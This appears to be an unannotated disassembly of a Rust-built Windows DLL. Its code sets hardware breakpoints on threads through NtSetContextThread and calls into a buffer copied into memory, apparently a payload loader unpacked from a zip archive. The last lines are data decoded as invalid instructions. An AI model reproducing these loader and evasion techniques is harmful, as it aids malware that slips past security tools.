je 0x180006898
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x108], 0
je 0x1800068b9
mov r8, qword [rsp + 0x110]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
test rbp, rbp
je 0x1800068cf
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x1f0], 0
je 0x1800068f0
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x208], 0
je 0x180006911
mov r8, qword [rsp + 0x210]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
test r12, r12
je 0x180006929
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0x38]
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0xd0], 0
mov rsi, qword [rsp + 0xb0]
je 0x180006952
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x1d0], 0
je 0x180004058
mov r8, qword [rsp + 0x1d8]
mov rcx, qword [0x1800a4080]
xor edx, edx
jmp 0x180004053
mov rax, qword [rsp + 0xf0]
test rsi, rsi
je 0x180006b12
mov qword [rsp + 0xa0], rax
movabs rbx, 0xffffffff0000fffb
mov r14, qword [rsp + 0xf8]
mov rcx, qword [0x1800a4080]
xor ebp, ebp
xor edx, edx
mov r8, r15
call sub.KERNEL32.dll_HeapFree
shl rsi, 3
lea r15, [rsp + 0x2e0]
lea r13, [rbx + 3]
cmp rsi, rbp
je 0x180006c9b
mov r12, qword [r14 + rbp]
mov rcx, r12
mov rdx, r15
call sub.ntdll.dll_NtGetContextThread
test eax, eax
jne 0x180006ad8
cmp byte [0x1800a4020], 1
jne 0x180006a20
mov rax, qword [0x1800a4028]
mov qword [rsp + 0x328], rax
mov rax, qword [rsp + 0x350]
and rax, r13
or rax, 1
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x348], 0
cmp byte [0x1800a4030], 1
jne 0x180006a5b
mov rax, qword [0x1800a4038]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x350]
and rax, rbx
or rax, 4
mov qword [rsp + 0x350], rax
mov qword [rsp + 0x348], 0
mov rcx, r12
mov rdx, r15
call sub.ntdll.dll_NtSetContextThread
test eax, eax
jne 0x180006ad8
add rbp, 8
mov rcx, r12
call sub.ntdll.dll_NtClose
jmp 0x1800069c5
mov byte [r12], 0
test r13, r13
mov r13, qword [rsp + 0x28]
je 0x180006a9b
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
mov byte [r14], 0
test rsi, rsi
jne 0x180006b3d
jmp 0x180006b4e
mov byte [r12], 0
test r13, r13
je 0x180006ac8
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
mov byte [r14], 0
test rsi, rsi
mov r13, qword [rsp + 0x28]
jne 0x180006b3d
jmp 0x180006b4e
cmp qword [rsp + 0xa0], 0
mov r13, qword [rsp + 0x28]
mov rbx, qword [rsp + 0xe8]
jne 0x180006b3d
jmp 0x180006b4e
test rax, rax
mov r13, qword [rsp + 0x28]
mov rbx, qword [rsp + 0xe8]
je 0x180006b3a
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov r14, r15
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
mov rsi, qword [rsp + 0xb0]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call sub.msvcrt.dll_memmove
call rbx
cmp qword [rsp + 0xb8], 0
je 0x180006b82
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x1f0], 0
je 0x180006ba3
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
lea rcx, [rsp + 0x150]
call fcn.180001930
cmp qword [rsp + 0x228], 0
je 0x180006bd1
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0x1e8]
call sub.KERNEL32.dll_HeapFree
mov byte [r13], 0
cmp qword [rsp + 0x298], 0
je 0x180006bf2
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
mov rsi, qword [rsp + 0x248]
mov rdi, qword [rsp + 0x250]
add rsi, 8
jmp 0x180006c14
add rsi, 0x18
sub rdi, 1
jb 0x180006c34
cmp qword [rsi - 8], 0
je 0x180006c10
mov r8, qword [rsi]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x180006c10
cmp qword [rsp + 0x240], 0
je 0x180006c55
mov r8, qword [rsp + 0x248]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov esi, 1
mov eax, esi
movaps xmm6, xmmword [rsp + 0x870]
movaps xmm7, xmmword [rsp + 0x880]
movaps xmm8, xmmword [rsp + 0x890]
movaps xmm9, xmmword [rsp + 0x8a0]
movaps xmm10, xmmword [rsp + 0x8b0]
add rsp, 0x8c8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp qword [rsp + 0xa0], 0
je 0x180006cb7
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r14
call sub.KERNEL32.dll_HeapFree
mov r13, qword [rsp + 0x28]
mov rsi, qword [rsp + 0xb0]
mov rbx, qword [rsp + 0xe8]
jmp 0x180006b56
cmp qword [rsp + 0x140], 0
je 0x180006f8e
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0xb8]
mov rsi, rax
call sub.KERNEL32.dll_HeapFree
mov qword [rsp + 0x30], rsi
jmp 0x180006f93
cdq
xor ebp, ebp
mov qword [rsp + 0x30], rax
mov r13, qword [rsp + 0x28]
mov r15, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rdi, qword [rsp + 0x58]
test rdi, rdi
jne 0x180006fe4
jmp 0x180007029
cmp eax, 0x28
ja case.0x180005fc4.2
mov eax, eax
cmp rax, 0x23
mov qword [rsp + 0x50], rdx
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.1800016b0
lea r8, [rsp + 0x50]
mov ecx, 1
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x30], rax
xor ebp, ebp
mov r13, qword [rsp + 0x28]
jmp 0x1800070c2
xor ebp, ebp
mov qword [rsp + 0x30], rax
mov r13, qword [rsp + 0x28]
jmp 0x1800070c2
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x1c8], rax
xor ebp, ebp
jmp 0x180006f2a
mov r13, qword [rsp + 0x28]
mov r15d, 0x24
jmp 0x1800070c2
xor ebp, ebp
mov qword [rsp + 0x1c8], rax
jmp 0x180006f2a
lea rcx, str.internal_error:_entered_unreachable_code
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.18000a2e0
jmp 0x1800079c1
call sub.KERNEL32.dll_GetLastError
mov esi, eax
shl rsi, 0x20
cmp qword [rsp + 0x50], 0
je 0x180006e7d
mov r8, qword [rsp + 0x58]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
or rsi, 2
mov qword [rsp + 0x2e0], rsi
lea rax, str.library_std_src_syspalwindowsos.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.18001c870
lea r8, [rsp + 0x2e0]
mov edx, 0x2b
call fcn.18000b220
jmp 0x1800079c1
mov r15d, 0x20
mov ebp, 1
mov r13, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x58]
test rdi, rdi
jne 0x180006fe4
jmp 0x180007029
xor ebp, ebp
mov rax, qword [rsp + 0xb0]
jmp 0x180006d75
xor ebp, ebp
mov qword [rsp + 0x30], r13
mov r13, qword [rsp + 0x28]
mov r15, qword [rsp + 0x40]
jmp 0x180006fb9
mov dil, 1
xor ebp, ebp
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x30], rax
mov r15, qword [rsp + 0x40]
jmp 0x180006f93
mov ebp, 1
mov eax, 0x19
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0xf0], 0
je 0x180006f4b
mov r8, qword [rsp + 0xf8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x1f0], 0
je 0x180006f6c
mov r8, qword [rsp + 0x1f8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov r15, qword [rsp + 0x40]
mov rax, qword [rsp + 0x1c8]
mov edi, dword [rsp + 0xc0]
test dword [rsp + 0x38], 0x800
jne 0x180006d31
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x238], 0
je 0x180006faf
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, r13
call sub.KERNEL32.dll_HeapFree
test dil, dil
mov r13, qword [rsp + 0x28]
je 0x180006fda
cmp qword [rsp + 0xe8], 0
je 0x180006fda
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0xb0]
call sub.KERNEL32.dll_HeapFree
mov rdi, qword [rsp + 0x58]
test rdi, rdi
je 0x180007029
mov qword [rsp + 0x40], r15
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x68]
test rbx, rbx
jne 0x18000711d
mov rax, rdi
shl rax, 5
add rdi, rax
cmp rdi, 0xffffffffffffffcf
je 0x180007024
sub rsi, rax
add rsi, 0xffffffffffffffe0
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
mov r15, qword [rsp + 0x40]
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe0]
add rsi, 0x20
jmp 0x180007047
add rsi, 0x90
sub rdi, 1
jb 0x180007080
cmp qword [rsi - 0x20], 0
je 0x180007066
mov r8, qword [rsi - 0x18]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsi - 8], 0
je 0x180007040
mov r8, qword [rsi]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x180007040
cmp qword [rsp + 0xd0], 0
je 0x1800070a1
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x290], 0
je 0x1800070c2
mov rcx, qword [0x1800a4080]
xor edx, edx
mov r8, qword [rsp + 0x288]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x48]
call sub.KERNEL32.dll_CloseHandle
mov qword [rsp + 0x150], rbp
lea rsi, [rsp + 0x158]
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], r15
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, [0x180074a90]
lea r8, [rsp + 0x150]
mov ecx, 1
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
movdqa xmm0, xmmword [rsi]
pmovmskb r12d, xmm0
not r12d
lea r14, [rsi + 0x10]
mov r15, rsi
jmp 0x180007157
dec rbx
lea eax, [r12 - 1]
and eax, r12d
mov r12d, eax
test rbx, rbx
je 0x180006ffc
test r12w, r12w
jne 0x180007181
nop dword [rax]
movdqa xmm0, xmmword [r14]
pmovmskb r12d, xmm0
add r15, 0xfffffffffffffe00
add r14, 0x10
cmp r12d, 0xffff
je 0x180007160
not r12d
tzcnt ecx, r12d
shl ecx, 5
mov rax, r15
sub rax, rcx
cmp qword [rax - 0x20], 0
je 0x180007140
mov r8, qword [rax - 0x18]
mov rcx, qword [0x1800a4080]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x180007140
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov rsi, rax
jmp 0x180006d6a
mov rdx, r15
mov rcx, rsi
mov rsi, rdx
call sub.KERNEL32.dll_CloseHandle
mov qword [rsp + 0x2e0], rsi
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.1800016b0
lea r8, [rsp + 0x2e0]
mov ecx, 1
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
lea r8, [0x1800978d0]
mov rcx, rdx
mov rdx, rdi
call fcn.180009610
jmp 0x1800079c1
lea rcx, str.srclib.rs
mov qword [rsp + 0xe8], rcx
mov rcx, rax
mov rdx, qword [rsp + 0xa0]
mov r8, qword [rsp + 0xe8]
call fcn.180009680
jmp 0x1800079c1
mov qword [rsp + 0x2e0], 8
mov qword [rsp + 0x2e8], 0
mov qword [rsp + 0x2f0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2f8], xmm0
lea rdx, str.srclib.rs
lea rcx, [rsp + 0x2e0]
call fcn.1800095d0
jmp 0x1800079c1
lea rax, [0x180095ee0]
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x2e8], 1
mov qword [rsp + 0x2f0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2f8], xmm0
lea rdx, str._rustc_051478957371ee0084a7c0913941d2a8c4757bb9library_alloc_src_str.rs
lea rcx, [rsp + 0x2e0]
call fcn.1800095d0
jmp 0x1800079c1
xor ecx, ecx
jmp 0x18000731d
mov ecx, 8
mov rdx, rbx
call fcn.180008990
jmp 0x1800079c1
mov eax, 1
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x268], r14
mov rcx, qword [rsp + 0x258]
mov rdx, qword [rsp + 0x268]
call fcn.180008990
jmp 0x1800079c1
mov eax, 1
mov qword [rsp + 0x258], rax
mov qword [rsp + 0x260], rsi
mov rcx, qword [rsp + 0x258]
mov rdx, qword [rsp + 0x260]
call fcn.180008990
jmp 0x1800079c1
movabs rdx, 0x2600000003
jmp case.0x180005fc4.2
movdqu xmm0, xmmword [rsp + 0x150]
movups xmm1, xmmword [rsp + 0x160]
movaps xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, [0x180074ab0]
lea r8, [rsp + 0x2e0]
mov ecx, 1
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
lea rcx, [0x180095ea2]
lea r8, str._rustc_051478957371ee0084a7c0913941d2a8c4757bb9library_alloc_src_str.rs
mov edx, 0x35
call fcn.18000b340
jmp 0x1800079c1
lea rcx, str.assertion_failed:_filled___self.buf.init_rustc_051478957371ee0084a7c0913941d2a8c4757bb9librarycore_srcio_borrowed_buf.rs
lea r8, [0x1800997c0]
mov edx, 0x29
call fcn.18000a2e0
jmp 0x1800079c1
mov ecx, 1
jmp 0x18000777c
lea r8, str.srclib.rs
mov ecx, 1
xor edx, edx
call fcn.18000b340
jmp 0x1800079c1
lea rcx, str.not_yet_implemented
lea r8, str.srclib.rs
mov edx, 0x13
call fcn.18000a2e0
jmp 0x1800079c1
lea rax, str._rustc_051478957371ee0084a7c0913941d2a8c4757bb9library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destructionlibrary_std_src_threadlocal.rs
lea r9, [0x180096518]
lea r8, [rsp + 0xf0]
mov edx, 0x46
call fcn.18000b220
jmp 0x1800079c1
lea rax, [0x180074a58]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly
lea r9, [0x180074ad0]
lea r8, [rsp + 0xf0]
mov edx, 0x37
call fcn.18000b220
jmp 0x1800079c1
mov ecx, 1
mov edx, 0xa
call fcn.180008990
jmp 0x1800079c1
mov ecx, 1
mov edx, 8
call fcn.180008990
jmp 0x1800079c1
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x50], rax
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.1800016b0
lea r8, [rsp + 0x50]
mov ecx, 1
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.180009f70
jmp 0x1800079c1
mov qword [rsp + 0x2e0], rsi
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.1800016b0
lea r8, [rsp + 0x2e0]
mov ecx, 1
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x30], rax
xor ebp, ebp
jmp 0x1800070c2
mov qword [rsp + 0x30], rdx
jmp 0x180006de2
lea rax, [0x180096004]
mov qword [rsp + 0x30], rax
mov r15d, 0x20
mov r13, qword [rsp + 0x28]
jmp 0x1800070c2
mov rax, qword [rsp + 0x2e8]
jmp 0x180006ddd
mov ebp, 2
lea rax, str.Support_for_multi_disk_files_is_not_implemented
mov qword [rsp + 0x30], rax
mov r15d, 0x2f
mov r13, qword [rsp + 0x28]
cmp qword [rsp + 0x290], 0
jne 0x1800070ac
jmp 0x1800070c2
lea rax, str._rustc_051478957371ee0084a7c0913941d2a8c4757bb9library_std_src_threadlocal.rs
mov qword [rsp + 0x20], rax
lea rcx, str.cannot_access_a_Thread_Local_Storage_value_during_or_after_destructionlibrary_std_src_threadlocal.rs
lea r9, [0x180096518]
lea r8, [rsp + 0xf0]
mov edx, 0x46
call fcn.18000b220
jmp 0x1800079c1
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x30], rax
xor ebp, ebp
mov r13, qword [rsp + 0x28]
jmp 0x180007029
mov r13, qword [rsp + 0x28]
jmp 0x1800070cc
mov qword [rsp + 0x2e0], 8
mov qword [rsp + 0x2e8], 0
mov qword [rsp + 0x2f0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2f8], xmm0
lea rdx, str.srclib.rs
lea rcx, [rsp + 0x2e0]
mov r13, qword [rsp + 0x28]
call fcn.1800095d0
jmp 0x1800079c1
lea rax, [0x180095e48]
mov ecx, 0x21
jmp 0x1800077af
call sub.KERNEL32.dll_GetLastError
shl rax, 0x20
or rax, 2
xor edi, edi
jmp 0x1800077af
mov qword [rsp + 0x2e0], rdi
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.1800016b0
lea r8, [rsp + 0x2e0]
mov ecx, 1
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
xor ecx, ecx
jmp 0x1800076f2
mov ecx, 1
mov rdx, rsi
call fcn.180008990
jmp 0x1800079c1
mov ecx, 1
mov edx, 0xa
call fcn.180008990
jmp 0x1800079c1
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x50], rax
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.1800016b0
lea rcx, [rsp + 0xf0]
lea r8, [rsp + 0x50]
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
call fcn.1800089b0
jmp 0x1800079c1
mov ecx, 1
mov rdx, rdi
call fcn.180008990
jmp 0x1800079c1
mov ecx, 8
mov rdx, rbx
call fcn.180008990
jmp 0x1800079c1
xor ecx, ecx
mov rdx, rsi
mov r13, qword [rsp + 0x28]
call fcn.180008990
jmp 0x1800079c1
mov dil, 1
mov ecx, 1
add byte [rax], al
add byte [rax - 0x77], cl
invalid
call fcn.180008990
jmp 0x1800079c1
add byte [rax], al
add byte [rax - 0x77], cl
invalid
lea rax, str.Compression_method_not_supportedEncrypted_files_are_not_supportedInvalid_local_file_headerInvalid_Central_Directory_headerattempt_to_join_into_collection_with_len___usize::MAXmid___len
mov ecx, 0x20
mov qword [rsp + 0x2e0], rdi
lea rsi, [rsp + 0x2e8]
mov qword [rsp + 0x2e8], rax
mov qword [rsp + 0x2f0], rcx
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, [0x180074a90]
lea r8, [rsp + 0x2e0]
mov ecx, 1
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
mov ecx, 8
mov edx, 0x50
call fcn.1800089f0
jmp 0x1800079c1
mov qword [rsp + 0x2e0], 0
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x2e0]
call fcn.1800092a0
jmp 0x1800079c1
mov ecx, 1
mov edx, 8
call fcn.180008990
jmp 0x1800079c1
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x148], rax
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea r9, fcn.1800016b0
lea rcx, [rsp + 0xf0]
lea r8, [rsp + 0x148]
xor edx, edx
call fcn.18000b220
jmp 0x1800079c1
mov ecx, 1
mov edx, 0x100000
mov rsi, qword [rsp + 0xb0]
call fcn.180008990
jmp 0x1800079c1
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [0x180095c70]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x180095c38]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.18000b220
jmp 0x1800079c1
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [0x180095c88]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x180095c38]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.18000b220
jmp 0x1800079c1
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [0x180095ca0]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x180095c38]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.18000b220
jmp 0x1800079c1
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movaps xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [0x180095cb8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x180095c38]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.18000b220
ud2
or dh, byte [rcx]
xor al, 0x42
int1
int1
jno 0x18007dffd
loopne 0x18007dff2
mov r8, qword [r8 + 0x7f]
invalid
ror dword [0x147b2c7f2], 1
invalid
out dx, eax
out 0xaa, eax
invalid
neg esp
cmp ah, 0xa7
fisubr word [rbp - 0x42f1bd9]
iretd
fadd qword [rax - 0x52215804]
invalid
pop rbp
jb 0x18007e010
mov r9b, 0x42
xlatb
wait
jo 0x18007e027
cmp ah, cl
invalid